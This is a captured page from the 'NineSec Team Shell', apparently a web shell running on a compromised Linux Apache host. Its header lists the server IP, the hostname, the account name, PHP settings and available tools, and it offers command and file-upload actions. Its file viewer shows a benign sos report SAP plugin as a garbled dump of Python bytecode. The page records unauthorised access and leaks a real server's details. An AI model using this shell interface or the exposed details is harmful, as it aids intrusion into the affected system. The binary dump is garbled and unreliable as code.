NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/sapnw.cpython-36.pyc
3

~�g�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�RedHatPluginc@s4eZdZdZdZdZd
Zdd�Zdd�Zd	d
�Z	dS)�Sapnwz
SAP NetWeaverZsapnw�sap�/usr/sapc
s�|jddd�}|ddkrdSt�}�x�|dj�D�]�}d|koL|jd	�r4|j�j�}t|�d
krhq4|d}|d}|d
}|j|�d|�d�}|j|�s�q4�x|j	|�D�]�t
�fdd�|||gD��r�d|�d�}	d|�d�}�j�}
|jd|	�d|�d|�d|
��|
�d�d�|jd|	�d|�d|�d�|�d|�d�d�|jd|	�d|�d|�d�|�d|�d�d�|j�}|�d|�d|�d �}|jd!|�d"|�d#�|d�q�Wq4Wx |D]}|j
d|�d$���q�WdS)%z% Collect data on installed instances z9/usr/sap/hostctrl/exe/saphostctrl -function ListInstancesZSAPInstances)�suggest_filename�statusrN�outputZDAAzNo instances found����z	/usr/sap/z
/SYS/profile/c3s|]}|�kVqdS)N�)�.0�f)�liner�/usr/lib/python3.6/sapnw.py�	<genexpr>-sz/Sapnw.collect_list_instances.<locals>.<genexpr>zLD_LIBRARY_PATH=/usr/sap/z/SYS/exe/runz/SYS/exe/uc/linuxx86_64zenv -i � z/sappfpar all pf=/usr/sap/Z_parametersz/sapcontrol -nr z -function GetProcessList�_Z_GetProcListz -function GetVersionInfoZ_GetVersInfoZadm_Z_userenvzsu - zadm -c "sapcontrol -nr z -function GetEnvironment"z/*DVEB*/work/dev_w0)�collect_cmd_output�set�
splitlines�
startswith�strip�split�len�addZpath_exists�listdir�all�add_cmd_output�lower�
add_copy_spec)
�selfZ	inst_listZ
sidsuniqueZ	inst_line�fields�sidZinstZvhost�pathZldenvZprofileZlowsidZfnamer)rr�collect_list_instancessP


zSapnw.collect_list_instancescCs<|jddd�}|ddkrdS�x|dj�D�]}d|kr.|j�j�}|d	dd�}|ddd�}|dd�j�}|d
kr�|jd|�d�|�d|�d�d�q.|dkr�|d	dd�}|jd|�d|�d��q.|dk�r|d	dd �}|jd|�d��q.|dkr.|d	dd!�}|jd|�d|�d��q.WdS)"z$ Collect data all the installed DBs z9/usr/sap/hostctrl/exe/saphostctrl -function ListDatabasesZSAPDatabases)rrrNr	z
Instance name��r
rZdb6zsu - z -c "db2 get dbm cfg"rZ	_db2_inforz/sapdb/z
/data/config/z.pahZoraz/oracle/z/*/dbs/init.oraZsybz/sybase/z/ASE*/z.cfg���r*r*r*r*)rrrr�upperr r")r#Zdb_listrr$ZdbadmZdbtyper%rrr�collect_list_dbsVs2

zSapnw.collect_list_dbscCs|j�|j�dS)N)r'r,)r#rrr�setup�szSapnw.setupN)r)r)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofiles�filesr'r,r-rrrrrsC*rN)Zsos.report.pluginsrrrrrrr�<module>	s

NineSec Team - 2022